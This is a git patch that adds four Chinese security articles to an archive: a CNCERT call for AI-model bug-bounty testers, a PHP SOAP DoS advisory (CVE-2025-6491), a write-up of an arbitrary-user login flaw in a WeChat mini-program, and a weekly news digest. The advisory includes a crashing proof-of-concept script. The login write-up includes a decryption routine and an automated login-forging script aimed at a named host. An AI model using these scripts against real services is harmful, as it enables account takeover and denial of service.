From dd5bffb2fe3bc2d16c0833d504ae0463cce2dc35 Mon Sep 17 00:00:00 2001 From: test Date: Tue, 8 Jul 2025 08:27:58 +0000 Subject: [PATCH] =?UTF-8?q?2025=E5=B9=B4=E4=BA=BA=E5=B7=A5=E6=99=BA?= =?UTF-8?q?=E8=83=BD=E5=A4=A7=E6=A8=A1=E5=9E=8B=E4=BA=A7=E5=93=81=E6=BC=8F?= =?UTF-8?q?=E6=B4=9E=E4=BC=97=E6=B5=8B=E6=B4=BB=E5=8A=A8=E5=90=AF=E5=8A=A8?= =?UTF-8?q?=E5=85=AC=E5=91=8A=E3=80=81PHP=20=E6=BC=8F=E6=B4=9E=20CVE-2025-?= =?UTF-8?q?6491=EF=BC=88SOAP=20DoS=EF=BC=89=E3=80=81=E5=AE=89=E5=85=A8?= =?UTF-8?q?=E7=83=AD=E7=82=B9=E5=91=A8=E6=8A=A5=EF=BC=9A=E8=B6=85=E8=BF=87?= =?UTF-8?q?=201,200=20=E4=B8=AA=20Citrix=20=E6=9C=8D=E5=8A=A1=E5=99=A8?= =?UTF-8?q?=E6=9C=AA=E9=92=88=E5=AF=B9=E5=85=B3=E9=94=AE=E8=BA=AB=E4=BB=BD?= =?UTF-8?q?=E9=AA=8C=E8=AF=81=E7=BB=95=E8=BF=87=E6=BC=8F=E6=B4=9E=E8=BF=9B?= =?UTF-8?q?=E8=A1=8C=E4=BF=AE=E8=A1=A5=E3=80=81=E3=80=90SRC=E3=80=91?= =?UTF-8?q?=E6=9F=90=E9=80=89=E8=AF=BE=E5=B0=8F=E7=A8=8B=E5=BA=8F=E4=BB=BB?= =?UTF-8?q?=E6=84=8F=E7=94=A8=E6=88=B7=E7=99=BB=E5=BD=95=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=E6=B7=B1=E5=BA=A6=E5=89=96=E6=9E=90=E3=80=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- data.json | 6 +- ...型产品漏洞众测活动启动公告.md | 16 ++ .../PHP 漏洞 CVE-2025-6491（SOAP DoS）.md | 50 ++++ ...序任意用户登录漏洞深度剖析.md | 208 +++++++++++++++ ...键身份验证绕过漏洞进行修补.md | 238 ++++++++++++++++++ 5 files changed, 517 insertions(+), 1 deletion(-) create mode 100644 doc/2025-07/2025年人工智能大模型产品漏洞众测活动启动公告.md create mode 100644 doc/2025-07/PHP 漏洞 CVE-2025-6491（SOAP DoS）.md create mode 100644 doc/2025-07/【SRC】某选课小程序任意用户登录漏洞深度剖析.md create mode 100644 doc/2025-07/安全热点周报：超过 1,200 个 Citrix 服务器未针对关键身份验证绕过漏洞进行修补.md diff --git a/data.json b/data.json index 031e7cf5..763e725c 100644 --- a/data.json +++ b/data.json @@ -15840,5 +15840,9 @@ "https://mp.weixin.qq.com/s?__biz=MzkzMTcwMTg1Mg==&mid=2247492070&idx=1&sn=a76b100b910f393235352f1b7824dc12": "汉王EFaceGo upload.do 任意文件上传漏洞", "https://mp.weixin.qq.com/s?__biz=MzIxMTg1ODAwNw==&mid=2247500929&idx=1&sn=dee2bdaa182554616ea85ceef4775672": "汉王e脸通综合管理平台SQL注入漏洞", "https://mp.weixin.qq.com/s?__biz=MzI5NTUzNzY3Ng==&mid=2247489168&idx=1&sn=931ea8f0161289c6d7003a69fb820de6": "Linux “sudo”关键漏洞允许任何用户控制系统", - "https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247503563&idx=1&sn=09169a0ba263b129a115d0fa708b0d02": "【已复现】Redis hyperloglog 远程代码执行漏洞(CVE-2025-32023)安全风险通告" + "https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247503563&idx=1&sn=09169a0ba263b129a115d0fa708b0d02": "【已复现】Redis hyperloglog 远程代码执行漏洞(CVE-2025-32023)安全风险通告", + "https://mp.weixin.qq.com/s?__biz=MzIwNDk0MDgxMw==&mid=2247500089&idx=1&sn=34735acc4543857c99268d52e2e5b501": "2025年人工智能大模型产品漏洞众测活动启动公告", + "https://mp.weixin.qq.com/s?__biz=Mzg2NTk4MTE1MQ==&mid=2247487548&idx=1&sn=7b0fb2f3107df101675679504bbb0c10": "PHP 漏洞 CVE-2025-6491（SOAP DoS）", + "https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247503557&idx=1&sn=b46dcfec1d66e735b4c53d7ae9633c0c": "安全热点周报：超过 1,200 个 Citrix 服务器未针对关键身份验证绕过漏洞进行修补", + "https://mp.weixin.qq.com/s?__biz=Mzg3NzkwMTYyOQ==&mid=2247489664&idx=1&sn=df572e4cbef72a5ed6c4de877b52b935": "【SRC】某选课小程序任意用户登录漏洞深度剖析" } \ No newline at end of file diff --git a/doc/2025-07/2025年人工智能大模型产品漏洞众测活动启动公告.md b/doc/2025-07/2025年人工智能大模型产品漏洞众测活动启动公告.md new file mode 100644 index 00000000..04483855 --- /dev/null +++ b/doc/2025-07/2025年人工智能大模型产品漏洞众测活动启动公告.md @@ -0,0 +1,16 @@ +# 2025年人工智能大模型产品漏洞众测活动启动公告 +原创 CNCERT 国家互联网应急中心CNCERT 2025-07-08 01:42 + +为提升国内AI大模型产品安全防护水平，推动构建更加安全可靠的人工智能技术生态，网络安全众测平台（以下简称“平台”）即日起组织开展2025年人工智能大模型产品漏洞众测活动，测试对象为当前市场主流的基础大模型产品、大模型相关应用产品。 + +本次测试依据国家相关安全标准和规定，针对AI大模型产品的网络安全漏洞开展测试，测试内容包括大模型自身相关漏洞测试、大模型框架及组件相关漏洞测试、大模型应用系统相关漏洞测试。 + +本次测试活动奖金丰厚，单个漏洞最高可达15万元，现诚邀广大高水平白帽子参与，为保证测试过程安全、可靠，所有测试人员均需通过平台评估审核。有意向报名的白帽子可详询平台联系人。 + +平台联系人：熊杰18979872562 + +本文转载自： +网络安全众测平台 + +请点击阅读原文！ + diff --git a/doc/2025-07/PHP 漏洞 CVE-2025-6491（SOAP DoS）.md b/doc/2025-07/PHP 漏洞 CVE-2025-6491（SOAP DoS）.md new file mode 100644 index 00000000..1ff15585 --- /dev/null +++ b/doc/2025-07/PHP 漏洞 CVE-2025-6491（SOAP DoS）.md @@ -0,0 +1,50 @@ +# PHP 漏洞 CVE-2025-6491（SOAP DoS） + TtTeam 2025-07-08 06:55 + +**CVE-2025-6491：通过巨大的 XML 命名空间在 PHP SOAP 中取消引用空指针** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/0HlywncJbB3YFpQO35SANASm3MzJK2ia5Gp5Q257iaFDzibEHrGXQSTBP5Z9hCCCzdux47jjkiavZcwoxB5ewVEDNA/640?wx_fmt=png&from=appmsg "") + +该漏洞由卡塔尔计算研究所的 Ahmed Lekssays 发现，当 PHP SOAP 扩展处理大于 2GB 的完全限定 XML 名称时，该漏洞会影响该扩展。 + +公告中写道：“如果使用大于 2G 的完全限定名称创建 SoapVar 实例，这将导致空指针取消引用，从而引发分段错误。 ” + +该缺陷存在于 PHP 使用 libxml2 实现的 SOAP 机制中，该机制与过长的 XML 命名空间前缀交互。当前缀超过最大 int 值时，会导致 xmlNodeSetName() 静默失败，从而使 XML 节点处于无效状态。这会导致后续序列化过程中触发分段错误。 + +使用 str_repeat(“A”, 0x7fffffff) 的简单 PHP 脚本会导致 SOAP 操作期间崩溃： + +``` + 'http://127.0.0.1/', // localhost dummy +    'uri' => 'urn:dummy', +    'trace' => 1, +    'exceptions' => true, +]; +try { +    $client = new SoapClient(null, $options); +    $client->__soapCall("DummyFunction", [$soapVar]); +} catch (Exception $e) { +    echo "Caught Exception: " . $e->getMessage() . "\n"; +} +?> +``` + + +执行时，PHP 进程因崩溃而终止：“ Valgrind 确认‘在地址 0x0 处的大小 1 的读取无效’。” + +这使得该漏洞特别容易受到拒绝服务 (DoS) 攻击，特别是在接受不受信任输入的 SOAP 公开 API 或 Web 服务中。 + diff --git a/doc/2025-07/【SRC】某选课小程序任意用户登录漏洞深度剖析.md b/doc/2025-07/【SRC】某选课小程序任意用户登录漏洞深度剖析.md new file mode 100644 index 00000000..14eb1acb --- /dev/null +++ b/doc/2025-07/【SRC】某选课小程序任意用户登录漏洞深度剖析.md @@ -0,0 +1,208 @@ +# 【SRC】某选课小程序任意用户登录漏洞深度剖析 + 不秃头的安全 2025-07-08 01:51 + +# 记一次外网到EMQX 后渗透 +``` +声明：本文中涉及到的相关技术或工具仅限技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担，如有侵权请私聊删除。需要2025hvv情报群私聊我拉，需要加交流群在最下方。知识星球在最下方，续费也有优惠私聊~~考安全证书请联系vx咨询 +``` + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/DicRqXXQJ6fVicZnY2QHwZ5IcH8K2iab4CPWBRzu1cWfFicict9hjW5ibbiaw4NueX6EJA1wyCHzloHPjnsNosPEIYkIQ/640?wx_fmt=png&from=appmsg&watermark=1&wxfrom=5&wx_lazy=1&tp=webp "") + +## 一、漏洞场景复现 +### （一）漏洞复现 +1. **目标系统** +：某金融类小程序（版本V2.3.1） + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/OMTnCvx3T1KNSPJhZj3ENMHDdFibMTYZGK7siaUTK4s2LQz5OSASAmYWcogCWy0ZEmW3edHjN07XwwWGrFmGLvKg/640?wx_fmt=png&from=appmsg "") +1. **测试工具** +：Burp Suite Pro v1.8.4 + WechatDevTools v1.18.0 + +1. **关键参数** +： + +1. encryptedData +：AES-CBC加密的用户敏感数据 + +1. iv +：16字节初始化向量 + +1. jsCode +：微信登录临时凭证（有效期5分钟） + +1. 缺失参数：session_key +（会话密钥） + +1、抓包，发现有encryptedData和iv，但少了sessionkey，却多了jsCode等巴拉巴拉的参数和参数值。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/OMTnCvx3T1KNSPJhZj3ENMHDdFibMTYZGqOP4djqFuKfB8aqsK8KgvKbTibl5Sl9mQZCnRicRCsawjKd09nm4LFcA/640?wx_fmt=png&from=appmsg "") +发现appletLoginAuthUri所需要的参数，正好都一并泄露了，传入值，访问后 嗯，这不是正缺少的sessionkey吗 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/OMTnCvx3T1KNSPJhZj3ENMHDdFibMTYZGdT9w5lic6OhDicLM7XjoIjDMuOteEfsUNIKoZcxfXG9pDCa7ylTcse2Q/640?wx_fmt=png&from=appmsg "") +使用bp的插件进行解密，发现sessionkey和iv和密文都是正确的，可以成功解出明文。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/OMTnCvx3T1KNSPJhZj3ENMHDdFibMTYZGA613ZicUcXsP5zypUltYzbdq1zYgCIKuCo6PWCibAjezsU8XicVW9ic5YQ/640?wx_fmt=png&from=appmsg "") +重新生成密文，替换为原来的请求包，但是一直无法登录成功(没截图)猜测是时间戳的问题 重复原来的操作，并替换时间戳。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/OMTnCvx3T1KNSPJhZj3ENMHDdFibMTYZGhfsYWy12u43xW2uoeuXKiaDB9S0JVZn7mMURtLuttmkxxia49Nxdq0Xw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/OMTnCvx3T1KNSPJhZj3ENMHDdFibMTYZGFTh9EbUavbTOj2e5AYAanhQTRNJkPttrvZuGlJmJ1AWUYfwd4S5X2Q/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/OMTnCvx3T1KNSPJhZj3ENMHDdFibMTYZGqibEiaeo7bUVcZxDokaUcncXdhzSfRb1lHuP8S8SCfl8gLORdM2j7jkw/640?wx_fmt=png&from=appmsg "") +到此成功登录。 +## 二、漏洞原理分析 +### （一）加密链路缺陷 +1. **前端暴露密钥要素** + +通过小程序逆向工程发现： +``` +// wx.login接口明文返回jsCodewx.login({  success(res) {    console.log(res.code); // 直接暴露jsCode  }}); +``` + + +1. **后端响应泄露密钥材料** + +抓取登录接口响应包： +``` +HTTP/1.1 200 OKContent-Type: application/json{  "encryptedData": "...",  "iv": "...",  "session_key": "0123456789abcdef0123456789abcdef" // 核心密钥泄露} +``` + + +### （二）攻击链路推演 +``` +graph TD    A[获取jsCode] --> B[构造虚假登录请求]    B --> C{后端响应}    C -->|包含session_key| D[解密encryptedData]    D --> E[伪造完整会话]    E --> F[绕过实名认证] +``` +## 三、漏洞利用实战 +### （一）密钥重组 +1. **AES-CBC参数准备** +``` +from Crypto.Cipher import AESimport base64def decrypt(session_key, iv, encrypted_data):    cipher = AES.new(session_key, AES.MODE_CBC, iv)    decrypted = cipher.decrypt(base64.b64decode(encrypted_data))    return decrypted.decode('utf-8') +``` + + +1. **时间戳同步突破** + +发现服务端时间校验逻辑： +``` +// 后端时间校验代码片段long clientTime = request.getHeader("X-Timestamp");if (Math.abs(clientTime - System.currentTimeMillis()) > 300000) {    throw new InvalidTimestampException();} +``` + + +### （二）自动化攻击脚本 +``` +import requestsimport timeTARGET_URL = "https://api.wechat-loan.com/login"HEADERS = {    "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.36",    "X-Requested-With": "XMLHttpRequest"}def exploit():    # 获取当前时间戳（毫秒）    timestamp = int(time.time() * 1000)        # 构造恶意请求    payload = {        "jsCode": "023f4a5b6c8d9e0f1a2b3c4d5e6f7a8b9c",        "encryptedData": "CvYyQ2...",        "iv": "XyZwVu...",        "timestamp": timestamp    }        # 发送请求    response = requests.post(TARGET_URL, json=payload, headers=HEADERS)        # 时间戳修正循环    while"invalid timestamp"in response.text.lower():        timestamp += 1000# 毫秒级微调        payload["timestamp"] = timestamp        response = requests.post(TARGET_URL, json=payload, headers=HEADERS)        return response.json()if __name__ == "__main__":    session = exploit()    print("Session Token:", session.get("token")) +``` +## 四、漏洞危害评估 +### （一）攻击面分析 +1. **数据窃取链路** + +1. 用户实名信息（姓名/身份证号） + +1. 微信绑定手机号 + +1. 设备硬件特征码 + +1. 通过encryptedData +可解析出： + +1. **业务风险场景** + +1. 绕过风控策略批量注册虚假账号 + +1. 操纵高价值账户进行非法转账 + +1. 结合短信嗅探实现完整账户接管 + +## 五、防御体系重构建议 +### （一）加密机制升级 +1. **密钥管理体系** + +1. 采用ECDH密钥协商协议动态生成session_key + +1. 实现密钥轮转机制（每7天更换） + +1. **加密算法强化** +``` +// 推荐加密方案（Java实现）Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");cipher.init(Cipher.ENCRYPT_MODE, secretKey, new GCMParameterSpec(128, iv)); +``` + + +### （二）时间戳防御矩阵 +1. **时钟回拨防护** +``` +# 服务端时间校验逻辑def validate_timestamp(client_ts):    server_ts = time.time()    if abs(server_ts - client_ts) > 5 * 60:        raise TimeAttackDetected()    if client_ts < (server_ts - 300):        raise TimestampBacktrackDetected() +``` + + +1. **时区标准化处理** + +强制所有请求携带X-Timezone +头并进行UTC时间校准。 + +## 六、总结与启示 + +本案例揭示了典型移动端安全三大黑洞： +1. **加密组件滥用** +：AES-CBC模式缺乏完整性保护 + +1. **时间校验缺失** +：5分钟时间窗口足以实施暴力破解 + +1. **敏感参数泄露** +：前端暴露关键密钥要素 + +建议企业立即开展： +1. 小程序专项安全审计（每季度一次） + +1. 建立API参数黑白名单管控机制 + +1. 部署RASP实时攻击检测系统 + + + +往期推荐： + +[记一次外网到EMQX 后渗透](https://mp.weixin.qq.com/s?__biz=Mzg3NzkwMTYyOQ==&mid=2247489651&idx=1&sn=87ab1c419b4ff8432ca1195433319546&scene=21#wechat_redirect) + + +[工具分享 | Nuclei POC漏洞验证图形化工具更新至v3.1.5](https://mp.weixin.qq.com/s?__biz=Mzg3NzkwMTYyOQ==&mid=2247489610&idx=1&sn=f23cc2d5870633e77a858d561d8cc831&scene=21#wechat_redirect) + + +[工具分享 | BP插件 SMS Bomb Fuzzer更新 V3.1](https://mp.weixin.qq.com/s?__biz=Mzg3NzkwMTYyOQ==&mid=2247489591&idx=1&sn=87c83760491e128ef0b86581936b0d8b&scene=21#wechat_redirect) + + + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/DicRqXXQJ6fVicZnY2QHwZ5IcH8K2iab4CPJRHe1bUSmPmKF4qFypdXGicib2vpibXoUxs3Ht0aic8uOKzUFkBSicfGMTg/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1&watermark=1&tp=webp "") + +**关于我们:** + +感谢各位大佬们关注-不秃头的安全，后续会坚持更新渗透漏洞思路分享、安全测试、好用工具分享以及挖掘SRC思路等文章，同时会组织不定期抽奖，希望能得到各位的关注与支持，考证请加联系vx咨询。 + + +## 1. 需要考以下各类安全证书的可以联系 + +cn*d\cnn*d(量少)中高证书，学生pte超低价，绝对低价绝对优惠，CISP、PTE/PTS、DSG、IRE/IRS、NISP、PMP、CCSK、CISSP、ISO27001、IT服务项目经理等等巨优惠，想加群下方链接： + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/DicRqXXQJ6fWHMbic1sSgjjTZ0C4kj0iaNcopuAxHjSib3oRxaAUJJH4xicDXDibJXepzSbUPLDXiacZ2LFFkecvz5iasw/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/DicRqXXQJ6fWHMbic1sSgjjTZ0C4kj0iaNcvDt2M2C42HorzC44C5UE024OWM4aiaZkmu9jz9iarWODbCW8BTktt5UQ/640?wx_fmt=png&from=appmsg "") + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_jpg/DicRqXXQJ6fVicZnY2QHwZ5IcH8K2iab4CPcGGuzP5JjTHibseyoDnwmZgKf1RbXicYHiaeoomSBAghebXKLjE53JpcA/640?wx_fmt=jpeg&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&watermark=1&tp=webp "") +## 2. 需要入星球的可以私聊优惠 + +星球里有什么？ +``` +1、维护更新src、cnxd、cnnxd专项漏洞知识库，包含原理、挖掘技巧、实战案例2、fafo/零零信安/QUAKE 高级会员key3、POC及CXXD及CNNXD通用报告详情分享思路4、知识星球专属微信“内部圈子交流群”5、分享src挖掘技巧tips6、最新新鲜工具分享7、不定期有工作招聘内推（工作/护网内推）8、攻防演练资源分享(免杀，溯源，钓鱼等)9、19个专栏会持续更新~提前续费有优惠，好用不贵很实惠 +``` + + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_jpg/DicRqXXQJ6fVicZnY2QHwZ5IcH8K2iab4CPTWXc6AXYqgecYQ8hXQPquoChib0J5TQK92p7xfQpQ35ibzYScVHDI7Rg/640?wx_fmt=jpeg&watermark=1&tp=webp&wxfrom=5&wx_lazy=1 "") + +## 3、其他合作（合法合规） + +1、承接各种安全项目（须有授权），需要攻防团队或岗位招聘都可代发、代招（灰黑勿扰）； + +2、各位安全老板需要文章推广的请私聊，承接合法合规推广文章发布，可直发、可按产品编辑推广； +合作、推广代发、安全项目、岗位代招均可发布 + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_jpg/DicRqXXQJ6fVicZnY2QHwZ5IcH8K2iab4CPFDicex7vNaKaXjGZa5TM7ObAyZgj14jtHIR9RRsbAibDsVibFvJjONVlg/640?wx_fmt=jpeg&from=appmsg&watermark=1&tp=webp&wxfrom=5&wx_lazy=1 "") + diff --git a/doc/2025-07/安全热点周报：超过 1,200 个 Citrix 服务器未针对关键身份验证绕过漏洞进行修补.md b/doc/2025-07/安全热点周报：超过 1,200 个 Citrix 服务器未针对关键身份验证绕过漏洞进行修补.md new file mode 100644 index 00000000..d8520a69 --- /dev/null +++ b/doc/2025-07/安全热点周报：超过 1,200 个 Citrix 服务器未针对关键身份验证绕过漏洞进行修补.md @@ -0,0 +1,238 @@ +# 安全热点周报：超过 1,200 个 Citrix 服务器未针对关键身份验证绕过漏洞进行修补 + 奇安信 CERT 2025-07-07 09:58 + +
安全资讯导视 

• 三部门印发《关于进一步加强医疗机构电子病历信息使用管理的通知》

• 黑客入侵挪威一水坝运营系统，私自完全打开阀门数小时

• 江西鹰潭某公司视频监控数据遭境外窃取被罚

+ +**PART****0****1** + + +**漏洞情报** + + +**1.Google Chrome V8类型混淆漏洞安全风险通告** + + +7月2日，奇安信CERT监测到Google发布公告称Google Chrome V8 类型混淆漏洞(CVE-2025-6554)存在在野利用，该漏洞源于V8引擎在执行JavaScript代码时，对某些数据类型的边界检查和类型转换处理不当，导致浏览器无法正确区分不同类型的内存数据。远程攻击者可通过诱导用户打开恶意链接来利用此漏洞，从而获取敏感信息或代码执行。目前该漏洞POC已在互联网上公开，奇安信威胁情报中心安全研究员已成功复现。鉴于该漏洞已发现在野利用，建议客户尽快做好自查及防护。 + + +**2.Linux sudo本地提权漏洞安全风险通告** + + +7月2日，奇安信CERT监测到Linux sudo修复两个相互关联的本地提权漏洞(CVE-2025-32462、CVE-2025-32463)，Linux sudo host权限提升漏洞(CVE-2025-32462)源于sudo的-h（--host）选项错误应用远程主机规则到本地，攻击者可绕过权限提升至root并执行任意代码。Linux sudo chroot权限提升漏洞(CVE-2025-32463)源于本地低权限用户通过特制的恶意chroot环境触发动态库加载，从而以root权限执行任意代码。目前该漏洞技术细节与PoC已在互联网上公开，奇安信威胁情报中心安全研究员已成功复现。鉴于该漏洞影响范围较大，建议客户尽快做好自查及防护。 + + +**3.WinRAR目录穿越漏洞安全风险通告** + + +7月1日，奇安信CERT监测到WinRAR目录穿越漏洞(CVE-2025-6218)POC已公开，该漏洞存在于WinRAR处理压缩文件中文件路径的过程中。攻击者可以利用精心构造的文件路径，使WinRAR进程遍历到任意目录，从而造成敏感信息泄露等危害。此漏洞POC已公开，奇安信威胁情报中心安全研究员已成功复现。鉴于该漏洞影响范围较大，建议客户尽快做好自查及防护。 + + +**PART****0****2** + + +**新增在野利用** + + +**1.Google Chrome V8 类型混淆漏洞(CVE-2025-6554)****** + + +7月2日，在发现一个高严重性零日漏洞（CVE-2025-6554）后，Google 紧急发布了其 Chrome 稳定频道的更新，该漏洞已被广泛利用。该漏洞在 V8 JavaScript 引擎中被归类为类型混淆漏洞，对 Windows、macOS 和 Linux 平台上的用户构成严重威胁。 + +该公司警告称，谷歌知道 CVE-2025-6554 的漏洞正在被广泛利用。CVE-2025-6554 是 V8 中的一个类型混淆漏洞，V8 是 Chrome 渲染引擎的核心 JavaScript 引擎。该漏洞由 Google 威胁分析小组 （TAG） 的 Clément Lecigne 于 2025年6月25日发现，该漏洞可能允许攻击者通过诱骗浏览器误解内存类型（一种通常用于远程代码执行 （RCE） 的漏洞利用方法）来执行任意代码。 + +零日漏洞（尤其是影响 Chrome 等浏览器的漏洞）是民族国家行为者、高级持续性威胁 （APT） 和出于经济动机的网络犯罪分子的主要目标。V8 中的类型混淆缺陷以前曾被用于路过式下载攻击、沙箱逃逸和通过看似无害的网站进行恶意负载传递。 + +该补丁在 Windows 的版本 138.0.7204.96/.97、Mac 的 138.0.7204.92/.93 和 Linux 的 138.0.7204.96 下发布。由于该漏洞的敏感性及其潜在影响，在大多数用户受到保护之前，完整的技术细节仍然受到限制。 + + +参考链接： + +https://securityonline.info/google-patches-actively-exploited-chrome-zero-day-cve-2025-6554/ + + +**2.Citrix NetScaler 输入验证不足漏洞(CVE-2025-5777)&Citrix NetScaler ADC 和 Gateway 内存溢出漏洞(CVE-2025-6543)****** + + +6月30日，在线公开的 1,200 多台 Citrix NetScaler ADC 和 NetScaler Gateway 设备未针对据信被积极利用的关键漏洞进行修补，从而允许威胁行为者通过劫持用户会话来绕过身份验证。 + +此越界内存读取漏洞被跟踪为 CVE-2025-5777，称为 Citrix Bleed 2，它是由于输入验证不足造成的，使未经身份验证的攻击者能够访问受限内存区域。成功利用 CVE-2025-5777 可能允许威胁行为者从面向公众的网关和虚拟服务器窃取会话令牌、凭证和其他敏感数据，从而使他们能够劫持用户会话并绕过多因素身份验证 （MFA）。 + +在6月17日的公告中，Citrix 警告客户在将所有 NetScaler 设备升级到修补版本以阻止潜在攻击后，终止所有活动的 ICA 和 PCoIP 会话。互联网安全非营利组织 Shadowserver Foundation 的安全分析师在周末发现，仍有 2,100 台设备容易受到 CVE-2025-5777 攻击。 + +虽然 Citrix 尚未确认该安全漏洞正在被广泛利用，并表示“目前没有证据表明利用 CVE-2025-5777”，但网络安全公司 ReliaQuest 称该漏洞已经在针对性攻击中被滥用。 + +Shadowserver 还发现，超过 2,100 个 NetScaler 设备未针对另一个严重漏洞（CVE-2025-6543）进行修补，该漏洞现在在拒绝服务 （DoS） 攻击中被积极利用。 + +由于这两个漏洞都被标记为严重性漏洞，建议管理员尽快从 Citrix 部署最新补丁。公司还应审查其访问控制并监控 Citrix NetScaler 设备是否存在可疑的用户会话和活动。 + + +参考链接： + +https://www.bleepingcomputer.com/news/security/over-1-200-citrix-servers-unpatched-against-critical-auth-bypass-flaw/ + +**PART****0****3** + + +**安全事件** + + +**1.俄罗斯大型国防承包商遭入侵，海军机密文件疑似泄露** + + +7月2日Cybernews消息，有犯罪团伙在知名数据泄露论坛发帖称，从俄罗斯主要国防承包商NPO Mars窃取了250GB数据。据分析，其提供的数据样本包含大量PDF和技术手册，涉及NPO Mars为俄军开发的系统，部分文件名暗示为协议、证书等文件，其他文件使用军事技术术语命名。攻击者制作宣传视频，声称获取了SIGMA、TRASSA、DIEZ等多个俄海军关键系统权限。NPO Mars是“联邦科研生产中心”，为俄军提供自动化控制系统、舰艇作战信息与指挥系统、装甲运兵车、坦克等装备。 + + +原文链接： + +https://cybernews.com/security/russian-defense-contractor-mars-breach-navy/ + + +**2.澳洲航空遭遇重大网络攻击，约600万客户信息或泄露** + + +7月2日，澳大利亚澳洲航空公司披露，黑客入侵了澳航一个存有大约600万客户隐私信息的数据系统，恐致大规模数据泄露。澳航在一份声明中说，该公司6月30日发现其第三方客户服务平台出现“异常活动”，显示黑客入侵了一个客户联络中心系统，可获取约600万客户的姓名、电子邮件地址、手机号码、生日等隐私信息。“我们仍在调查具体有多少数据被盗，但预计泄露规模较大。”目前，澳航正在联系受影响客户，通报事件详情，并说明公司可提供的具体支持方案。澳航首席执行官瓦妮萨·赫德森代表澳航“真诚地向受影响客户道歉”，表示公司正就此事与澳大利亚政府网络安全专家“密切合作”。 + + +原文链接： + +https://content-static.cctvnews.cctv.com/snow-book/index.html?item_id=4103047984007139562 + + +**3.黑客入侵挪威一水坝运营系统，私自完全打开阀门数小时** + + +6月30日GBHackers消息，挪威布雷芒厄市里瑟湖区某座水坝的运营系统遭到入侵，攻击者掌握了水流控制系统的指令权限，并成功访问了水坝的阀门关闭机制，导致阀门被完全开启。直到数小时后，水坝运营方发现了该事件并进行处置。据悉由于水流量不大，并未造成实际风险。这座水坝是当地水资源管理和水力发电系统中的关键组成部分。目前案件已正式由挪威国家刑事调查局主导刑事调查，相关部门正努力确认攻击者身份，并评估此次事件的整体影响范围。 + + +原文链接： + +https://gbhackers.com/hackers-breach-norwegian-dam/ + + +**4.江西鹰潭某公司视频监控数据遭境外窃取被罚** + + +6月30日，鹰潭市互联网信息办公室接上级转办线索，某新型材料集团有限公司所属IP向境外多个IP传输数据，行为异常。经过立案调查、现场勘验、远程勘验（采样技术分析）、笔录问询等工作，查明：该公司未采取相应的技术措施和其他必要措施保障数据安全，未在开展数据处理活动时加强数据安全缺陷、漏洞等风险监测，导致其所属的视频监控系统多次被境外黑客组织登录并窃取视频监控数据，相关行为违反了《中华人民共和国数据安全法》第二十七条、第二十九条规定。鹰潭市网信办依据《中华人民共和国数据安全法》、《中华人民共和国行政处罚法》等法律法规，责令该公司限期改正，并给予警告。 + + +原文链接： + +https://mp.weixin.qq.com/s/e-K1XnjzFcUN4VAZhroZFg + + +**PART****0****4** + + +**政策法规** + + +**1.《网络安全技术 信息安全管理体系 要求》等3项网络安全国家标准发布** + + +7月4日，国家市场监督管理总局、国家标准化管理委员会近日发布2025年第14号《中华人民共和国国家标准公告》，由全国网络安全标准化技术委员会归口的3项国家标准正式发布。包括GB/T 20988—2025《网络安全技术 信息系统灾难恢复规范》、GB/T 22080—2025《网络安全技术 信息安全管理体系 要求》、GB/T 45909—2025《网络安全技术 数字水印技术实现指南》。 + + +原文链接： + +https://www.tc260.org.cn/front/postDetail.html?id=20250704092842 + + +**2.工信部印发《关于开展号码保护服务业务试点的通知》** + + +7月3日，工业和信息化部印发《关于开展号码保护服务业务试点的通知》，旨在加强个人信息保护，同时规范中间号业务、强化码号资源管理、防范治理电信网络诈骗和非应邀商业营销信息。该文件指出，工信部规划了15位长的700专用号码，并开展为期两年半的试点行动，试点过渡阶段结束后，将全部使用700专用号码开展号码保护服务业务。该文件要求严格管理业务试点和700专用号码申请。强化业务和码号分配的全流程管理，提升技术监管手段，有效支撑违规行为溯源，切实防范700专用号码被滥用。对于试点期间出现严重违法违规行为的业务参与方，将依法依规撤销试点资格，并会同有关部门进行严肃查处。 + + +原文链接： + +https://www.miit.gov.cn/zwgk/zcwj/wjfb/tz/art/2025/art_1c4a98acc8e641859359181940850634.html + + +**3.工信部印发《2025年护航新型工业化网络安全专项行动方案》** + + +7月2日，工业和信息化部印发《2025年护航新型工业化网络安全专项行动方案》，聚焦突出重点管理、做优服务模式，以推动重点企业、重要系统、关键产品防护能力升级为核心，提出3方面8项重点任务。该文件提出，建立完善工业领域网络安全防护重点企业清单，深入实施工业互联网安全分类分级管理，面向不少于800家工业企业开展网络安全贯标达标试点，更新不少于100个车联网服务平台的定级备案，有效提高重点企业综合防护水平；深化工业控制系统网络安全评估，探索开展工业控制产品安全检测认证；组织全国范围新型工业化网络安全政策标准宣贯，推动各地方宣贯工作覆盖属地不少于20%的规上工业企业，切实增强工业领域网络安全意识和保障能力，以高水平网络安全护航制造业高质量发展。 + + +原文链接： + 